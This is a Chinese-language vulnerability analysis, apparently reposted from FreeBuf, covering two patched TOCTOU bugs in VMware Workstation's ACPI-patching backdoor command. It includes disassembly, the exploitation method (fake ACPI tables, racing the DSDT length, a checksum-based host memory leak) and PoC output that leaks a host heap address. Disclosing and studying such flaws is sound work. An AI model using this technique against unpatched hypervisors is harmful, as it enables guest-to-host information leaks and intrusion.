前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全分析 | 两个VMware Workstation中的TOCTOU漏洞

安全分析 | 两个VMware Workstation中的TOCTOU漏洞

作者头像
FB客服
发布2020-11-23 15:39:06
1.2K0
发布2020-11-23 15:39:06
举报
文章被收录于专栏:FreeBuf

前两天,VMware发布了一份安全公告,并修复了VMware ESXi、Workstation、Fusion和NSX-T中的六个安全漏洞。其中有两个漏洞属于TOCTOU(Time-of-check Time-of-use)竞争条件漏洞,既然现在漏洞已被修复,那我们就一起来看一看这两个TOCTOU漏洞的详细信息以及其对VMware系统的影响吧!

漏洞分析

VMware Workstation使用了一个修改版的PhoenixBIOS 4.0 Release 6来实现其旧版本BIOS的模拟功能。在我们对BIOS.440.ROM镜像分析过程中,我们发现其中一处修改将导致VMware软件中存在后门。这种场景下的“后门”其实并没有什么恶意性,与传统意义上的后门相反,这个“后门”指的是一个合法的数据通道,虚拟客户机可以通过它与管理程序进行通信。在这种情况下,后门是通过模拟的I/O端口实现的,而用户可以通过执行以下指令并利用后门来发送消息:

代码语言:javascript
复制
BIOS_F:358B backdoor        proc near                

BIOS_F:358B                 mov     dx, 5658h

BIOS_F:358E                 mov     eax, 564D5868h

BIOS_F:3594                 in      eax, dx

BIOS_F:3596                 retn

BIOS_F:3596 backdoor        endp

通过交叉引用后门调用并结合open-vm-tools,我们可以识别出ROM镜像中所使用的命令集:

代码语言:javascript
复制
BDOOR_CMD_GETMEMSIZE

BDOOR_CMD_GETMHZ

BDOOR_CMD_ISACPIDISABLED

BDOOR_CMD_PATCH_ACPI_TABLES

BDOOR_CMD_GETUUID

BDOOR_CMD_GETDISKGEO

BDOOR_CMD_OSNOTFOUND

BDOOR_CMD_APMFUNCTION

这里的每一条指令代表的都是一个后门功能函数,它们在主机系统上实现,可以由用户通过向模拟端口传递相应的值来进行调用。

在这里,BDOOR_CMD_PATCH_ACPI_TABLES命令是最有意思的了,因为它可以从用户的内存中解析ACPI表,下面的分析过程基于的是VMware Workstation的Linux版本(v 15.5.6)。

后门函数所实现的BDOOR_CMD_PATCH_ACPI_TABLES首先会检查目标主机安装的VMware Tools版本以及当前用户处理器的权限等级(CPL),然后再进行功能调用。

代码语言:javascript
复制
.text:00000000001D9AF0 BackdoorPatchACPITables proc near        

.text:00000000001D9AF0

.text:00000000001D9B14                 call    Get_VMTools_Version

.text:00000000001D9B19                 test    eax, eax        ; check if vmware tools installed

.text:00000000001D9B1B                 jnz     short vmtools_available

.text:00000000001D9B50 vmtools_available:                       

.text:00000000001D9B50                 call    Get_VMTools_Version

.text:00000000001D9B55                 cmp     eax, 17FFh      ; check if vmware tools version < 6.0.0

.text:00000000001D9B5A                 ja      short return

.text:00000000001D9B5C                 call    Check_CPL0      ; check if invoked at CPL 0

.text:00000000001D9B61                 test    al, al

.text:00000000001D9B63                 jz      short return

Get_VMTools_Version函数可以返回VMware Tools的版本信息,返回数据的格式为编码整型值,这部分数据在open-vm-tools中的定义如下:

代码语言:javascript
复制
#define TOOLS_VERSION_UINT(MJR, MNR, BASE) (((MJR) << 10) + ((MNR) << 5) + (BASE))

其中,BDOOR_CMD_PATCH_ACPI_TABLES命令只有在用户报告VMware Tools版本低于6.0.0的时候才会使用到。除此之外,这里还会检查以确保命令是从CPL 0(或ring 0)调用的,而这也是最高等级的用户权限了。这种机制也许是为了限制用户使用这个后门命令来猜测启动代码。完成检查之后,代码将会扫描用户的BIOS高内存区域(0xE0000到0xFFFFF)以识别“RSD PTR”标记,并尝试定位Root系统描述指针(RSDP)结构。

代码语言:javascript
复制
.text:00000000001D9B73                 mov     r12d, 0E0000h

.text:00000000001D9B79                 lea     rbp, [r13+24h]

.text:00000000001D9B7D                 nop     dword ptr [rax]

.text:00000000001D9B80

.text:00000000001D9B80 loc_1D9B80:                              

.text:00000000001D9B80                 mov     edx, 24h

.text:00000000001D9B85                 mov     rsi, r13

.text:00000000001D9B88                 mov     rdi, r12

.text:00000000001D9B8B                 mov     r8d, 1

.text:00000000001D9B91                 mov     ecx, 40h

.text:00000000001D9B96                 call    Read_GuestMem

.text:00000000001D9B9B                 mov     edx, 8          ; n

.text:00000000001D9BA0                 mov     rdi, r13        ; s1

.text:00000000001D9BA3                 lea     rsi, aRsdPtr    ; "RSD PTR "

.text:00000000001D9BAA                 call    _memcmp

.text:00000000001D9BAF                 test    eax, eax

接下来,代码还会对剩下的ACPI数据结构进行解析以定位系统差异描述表(DSDT)。

代码语言:javascript
复制
text:00000000001D9BE9                 lea     rsi, aRsdt      ; "RSDT"

text:00000000001D9BF0                 mov     rcx, rbp

text:00000000001D9BF3                 call    ValidateAndGetACPITable

text:00000000001D9C24                 lea     rsi, aFacp      ; "FACP"

text:00000000001D9C2B                 call    ValidateAndGetACPITable

text:00000000001D9C30                 test    al, al

text:00000000001D9C63                 lea     rsi, aDsdt      ; "DSDT"

text:00000000001D9C6A                 call    ValidateAndGetACPITable

text:00000000001D9C6F                 test    al, al

找到DSDT之后,后门函数会寻找并用“F00”替换_S1的数据。

代码语言:javascript
复制
.text:00000000001D9CCA loc_1D9CCA:                              

.text:00000000001D9CCA          cmp     [rsp+0D8h+var_D3], 5Fh ; '_'

.text:00000000001D9CCF          jnz     short continue

.text:00000000001D9CD1          cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'

.text:00000000001D9CD6          jnz     short continue

.text:00000000001D9CD8          cmp     [rsp+0D8h+var_D3+2], 31h ; '1'

.text:00000000001D9CDD          jnz     short continue

.text:00000000001D9CDF          sub     eax, 1

.text:00000000001D9CE2          jnz     loc_1D9E69

.text:00000000001D9CE8          add     r12, [rsp+0D8h+var_B8]

.text:00000000001D9CED          mov     word ptr [r12], 'OF'

.text:00000000001D9CF4          mov     byte ptr [r12+2], 4Fh ; 'O'

为了测试该漏洞,我们首先需要导出DSDT表,并在报告了VMware Tools版本小于6.0.0之后重启客户机。在对open-vm-tools进行分析之后,我们发现个该工具将使用“tools.set.version”这个GuestRPC命令来设置这条信息。

代码语言:javascript
复制
$ sudo cat /sys/firmware/acpi/tables/DSDT > DSDT

$ iasl -d DSDT

Intel ACPI Component Architecture

ASL+ Optimizing Compiler/Disassembler version 20180105

Copyright (c) 2000 - 2018 Intel Corporation

Input file DSDT, Length 0x2148B (136331) bytes

ACPI: DSDT 0x0000000000000000 02148B (v01 PTLTD  Custom   06040000 MSFT 03000001)

Pass 1 parse of [DSDT]

Pass 2 parse of [DSDT]

Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions)

Parsing completed

Disassembly completed

ASL Output:    DSDT.dsl - 1296923 bytes

$ vmware-rpctool "tools.set.version 4096"

$ reboot

重启之后,我们再次导出DSDT表,然后对ASL代码进行分析。

代码语言:javascript
复制
* Original Table Header:

   *     Signature        "DSDT"

   *     Length           0x0002148B (136331)

   *     Revision         0x01 **** 32-bit table (V1), no 64-bit math support

-  *     Checksum         0x9E

+ *     Checksum         0x9D

   *     OEM ID           "PTLTD "

   *     OEM Table ID     "Custom  "

   *     OEM Revision     0x06040000 (100925440)

@@ -2524,7 +2524,7 @@

         0x05,  

         0x05

     })

-    Name (_S1, Package (0x02)  // _S1_: S1 System State

+    Name (FOO, Package (0x02)

     {

         0x04,  

         0x04

S1休眠状态此时会被更改,而且导出表的校验和也会进行相应的更新。

在这里,我发现了两个不同的Time-of-check Time-of-use (TOCTOU)漏洞。其中一个是越界受限写入漏洞,另一个则是越界读取漏洞,并有可能导致目标主机发生信息泄露。

DSDT表中包含了一个ACPI Header,后面跟着的是AML字节码。ACPI Header的数据结构如下所示:

代码语言:javascript
复制
struct acpi_table_header {

        char signature[ACPI_NAMESEG_SIZE];         /* ASCII table signature */

        u32 length;                                /* Length of table in bytes, including this header */

        u8 revision;                               /* ACPI Specification minor version number */

        u8 checksum;                               /* To make sum of entire table == 0 */

        char oem_id[ACPI_OEM_ID_SIZE];             /* ASCII OEM identification */

        char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /* ASCII OEM table identification */

        u32 oem_revision;                          /* OEM revision number */

        char asl_compiler_id[ACPI_NAMESEG_SIZE];   /* ASCII ASL compiler vendor ID */

        u32 asl_compiler_revision;                 /* ASL compiler version */

};

Header中最有意思的数据字段为length和checksum。表的长度和校验和首先会在ValidateAndGetACPITable函数被调用时来进行验证,调用位置为0x01D9C6A:

代码语言:javascript
复制
.text:00000000001D9910 ValidateAndGetACPITable proc near

.text:00000000001D991B                 mov     edx, 4          ; length to read

.text:00000000001D9920                 push    r13

.text:00000000001D9922                 push    r12

.text:00000000001D9924                 mov     r12d, edi

.text:00000000001D9927                 push    rbp

.text:00000000001D9928                 lea     rdi, [r12+4]    ; physical address of table + 4, this points to the length field in ACPI header

. . .

.text:00000000001D994D                 lea     rsi, [rsp+68h+table_size] ; buffer for writing the content

.text:00000000001D9952                 call    ReadGuestPhyAddr

.text:00000000001D9957                 mov     r8d, [rsp+68h+table_size]

.text:00000000001D995C                 lea     eax, [r8-1]

.text:00000000001D9960                 cmp     eax, 0FFFFFFh

.text:00000000001D9965                 jbe     short map_guestmem

. . .

.text:00000000001D99B8 map_guestmem:                            

.text:00000000001D99B8                 cmp     r14b, 1

.text:00000000001D99BC                 mov     esi, r8d        ; length to read from guest

.text:00000000001D99BF                 mov     rdi, r12        ; physical address of ACPI table

. . .

.text:00000000001D99D2                 call    MapGuestPhyAddr

.text:00000000001D99D7                 cmp     dword ptr [rbx+0Ch], 1

.text:00000000001D99DB                 mov     r12d, [rsp+68h+table_size]

. . .

.text:00000000001D9A10                 cmp     r12d, 35        ; check if length is at least ACPI table header size

.text:00000000001D9A14                 jbe     invalid_size

.text:00000000001D9A1A                 mov     eax, dword ptr [rsp+68h+acpi_table.signature]

.text:00000000001D9A1E                 cmp     [rbp+0], eax    ; check table signature

. . .

.text:00000000001D9A70 calc_checksum:                           

.text:00000000001D9A70                 mov     rax, [rbx+10h]

.text:00000000001D9A74                 movzx   eax, byte ptr [rax+rbp] ; read a byte from guest ACPI table

.text:00000000001D9A78

.text:00000000001D9A78 loc_1D9A78:                              

.text:00000000001D9A78                 add     rbp, 1

.text:00000000001D9A7C                 add     r12d, eax

.text:00000000001D9A7F                 cmp     r14d, ebp       ; loop until table size

.text:00000000001D9A82                 jbe     short loc_1D9AD0

.text:00000000001D9A84

.text:00000000001D9A84 loc_1D9A84:                              

.text:00000000001D9A84                 cmp     dword ptr [rbx+0Ch], 1

.text:00000000001D9A88                 jz      short calc_checksum

总的来说,ValidateAndGetACPITable函数首先会从客户机内存中读取出ACPI表的大小,然后利用这个大小值来从客户机物理内存中将整个ACPI表映射到主机内存中。接下来,它会计算映射内存的字节大小并计算出ACPI校验和来对表进行验证。

CVE-2020-3982/ZDI-20-1268

完成了表验证之后,代码会再次从客户机内存中读取出ACPI表长度,然后在DSDT AML代码中搜索_S1。

代码语言:javascript
复制
text:00000000001D9C6A                 call    ValidateAndGetACPITable ; DSDT table validated here

.text:00000000001D9C6F                 test    al, al

.text:00000000001D9C71                 jz      return

.text:00000000001D9C77                 mov     eax, [rsp+0D8h+var_BC]

.text:00000000001D9C7B                 lea     r15, [rsp+0D8h+var_CC]

.text:00000000001D9C80                 mov     r13d, 24h ; '$'

.text:00000000001D9C86                 lea     r14, [rsp+0D8h+var_D3]

.text:00000000001D9C8B                 jmp     short loc_1D9C91

.text:00000000001D9C8D

.text:00000000001D9C8D Patch_S1_Sleep_State:                    

.text:00000000001D9C8D                                          

.text:00000000001D9C8D                 add     r13d, 1

.text:00000000001D9C91

.text:00000000001D9C91 loc_1D9C91:                              

.text:00000000001D9C91                 cmp     eax, 1

.text:00000000001D9C94                 jnz     loc_1D9D91

.text:00000000001D9C9A                 mov     rax, [rsp+0D8h+dsdt]

.text:00000000001D9C9F                 mov     esi, [rax+acpi_table_header.length] ; DSDT table fetched from guest after validation

在这里,客户机操作系统是可以修改两次获取到的表的大小值的,从而导致受限的OOB写入原语:“finding _S1”,并使用F00替换其值。

CVE-2020-3981/ZDI-20-1267

当S1休眠对象被修复之后,Header中的校验和将需要被更新。为了准备计算新的校验和,代码将再次从客户机内存中检索表长度:

代码语言:javascript
复制
.text:00000000001D9CCA                 cmp     [rsp+0D8h+var_D3], 5Fh ; '_'

.text:00000000001D9CCF                 jnz     short Patch_S1_Sleep_State

.text:00000000001D9CD1                 cmp     [rsp+0D8h+var_D3+1], 53h ; 'S'

.text:00000000001D9CD6                 jnz     short Patch_S1_Sleep_State

.text:00000000001D9CD8                 cmp     [rsp+0D8h+var_D3+2], 31h ; '1'

.text:00000000001D9CDD                 jnz     short Patch_S1_Sleep_State

.text:00000000001D9CDF                 sub     eax, 1

.text:00000000001D9CE2                 jnz     loc_1D9E69

.text:00000000001D9CE8                 add     r12, [rsp+0D8h+dsdt]

.text:00000000001D9CED                 mov     word ptr [r12], 'OF'

.text:00000000001D9CF4                 mov     byte ptr [r12+2], 4Fh ; 'O'

.text:00000000001D9CFA

.text:00000000001D9CFA calc_checksum_after_patch:               

.text:00000000001D9CFA                 cmp     [rsp+0D8h+var_BC], 1

.text:00000000001D9CFF                 jnz     loc_1D9E3C

.text:00000000001D9D05                 mov     rax, [rsp+0D8h+dsdt]

.text:00000000001D9D0A                 mov     r13d, [rax+acpi_table_header.length] ; length fetched again from guest memory

如果客户机在这次读取操作之前增加了长度字段的值,那么将导致在校验和计算过程中出现越界读取的情况。

漏洞利用PoC

虽然这个后门函数在执行受信任的BIOS代码期间只被调用一次,但它在引导后不会被禁用,并且即使是客户机操作系统也可以继续访问它。因为BIOS内存区域是可写的,所以在调用后门之前,客户机可以在地址0xE0000插入一个伪造的RSDP结构。由于RSDT物理地址是在伪造的RSDP结构中设置的,因此整个ACPI的解析过程都有可能被劫持:

代码语言:javascript
复制
struct acpi_table_rsdp {

        char signature[8];         /* ACPI signature, contains "RSD PTR " */

        u8 checksum;               /* ACPI 1.0 checksum */

/* ... snip ... */

        u32 rsdt_physical_address; /* 32-bit physical address of the RSDT */

/* ... snip ... */

};
代码语言:javascript
复制

攻击者需要在客户机RAM的末端设置一个DSDT表,这样就可以直接在主机内存上受限OOB访问了。虽然这种OOB写入操作是高度受限的,但ACPI校验和计算过程中的OOB读取是可以泄露主机堆内存数据的。

ACPI表校验和是一个值,它使得表中所有字节的总和为0(mod 256)。考虑到这一点,信息泄漏策略应该是一次泄漏一个字节。攻击者可以设置DSDT ACPI表头,使长度和校验和字段可从客户机访问。AML代码占用了与主机堆内存区域相邻的客户机内存区域末尾,使得客户机无法访问该内存区域。然后,它们可以使用竞争条件触发1字节的OOB读取,并检查校验和值是否已更改。如果是,根据之前的校验和值和更新后的校验和值,利用它们可以计算出泄漏的字节。如果在经过一定量的尝试后没有观察到校验和的变化,则假定泄漏的字节为0。然后,攻击者可以触发一个2字节的OOB读取来泄漏后续字节,以此类推。

下面给出的漏洞利用PoC:

代码语言:javascript
复制
$ sudo insmod backdoor.ko

$ sudo ./poc

poc: [+] Setting open-vm-tools version to 4.0.0 using tools.set.version

poc: [+] Overwriting BIOS memory mapped @ 0x7fdd12fd5000

poc: [+] Trigerring BDOOR_CMD_GETMEMSIZE to get RAM size...

poc: [+] VM high memory address : 0x80000000

poc: [+] Fake Root System Description Pointer @ 0xE0000

RSD  @ 0x00000000000E0000

    0000: 52 53 44 20 50 54 52 20 73 00 00 00 00 00 00 00  RSD PTR s.......

    0010: 00 60 C5 49                                      .`.I

poc: [+] Fake Root System Description Table @ 0x49C56000

RSDT @ 0x0000000049C56000

    0000: 52 53 44 54 28 00 00 00 00 05 00 00 00 00 00 00  RSDT(...........

    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0020: 00 00 00 00 28 60 C5 49                          ....(`.I

poc: [+] Fake Fixed ACPI Description Table @ 0x49C56028

FACP @ 0x0000000049C56028

    0000: 46 41 43 50 14 01 00 00 00 7C 00 00 00 00 00 00  FACP.....|......

    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0020: 00 00 00 00 00 00 00 00 D8 FF FF 7F 00 00 00 00  ................

    0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0110: 00 00 00 00                                      ....

poc: [+] Fake Differentiated System Description Table @ 0x7FFFFFD8

DSDT @ 0x000000007FFFFFD8

    0000: 44 53 44 54 28 00 00 00 00 C6 00 00 00 00 00 00  DSDT(...........

    0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    0020: 00 00 00 00 5F 53 31 00                          ...._S1.

poc: [+] Starting thread to change DSDT length during race...

poc: [+] Triggering BDOOR_CMD_PATCH_ACPI_TABLES from CPL 0...

poc: [+] Leaking checksum for 8 bytes adjacent to guest memory mapping...

........................

A5 A5 A5 75 C7 48 48 48

poc: [+] Leaked host memory address : 0x7fae30000020

下面给出的是vmware-vmx进程的主机堆内存状态(2GB内存):

代码语言:javascript
复制
gdb-peda$ vmmap

...

0x00007fadb0000000 0x00007fae30000000 rw-s      /vmem (deleted)

0x00007fae30000000 0x00007fae309ea000 rw-p      mapped

0x00007fae309ea000 0x00007fae34000000 ---p      mapped

...

gdb-peda$ x/10gx 0x00007fae30000000

0x7fae30000000: 0x00007fae30000020      0x0000000000000000

0x7fae30000010: 0x00000000009ea000      0x00000000009ea000

0x7fae30000020: 0x0000000200000000      0x0000000000000001

0x7fae30000030: 0x00007fae30555b30      0x0000000000000000

0x7fae30000040: 0x00007fae30263860      0x00007fae30278e40

总结

目前,VMware已经在Workstation v16.0版本中修复了该问题。除此之外,VMSA-2020-0023补丁还修复了我的同事Lucas Leong报告的ESXi中的一个可远程利用的漏洞。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞分析
  • CVE-2020-3982/ZDI-20-1268
  • CVE-2020-3981/ZDI-20-1267
  • 漏洞利用PoC
    • 下面给出的漏洞利用PoC:
    • 总结
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档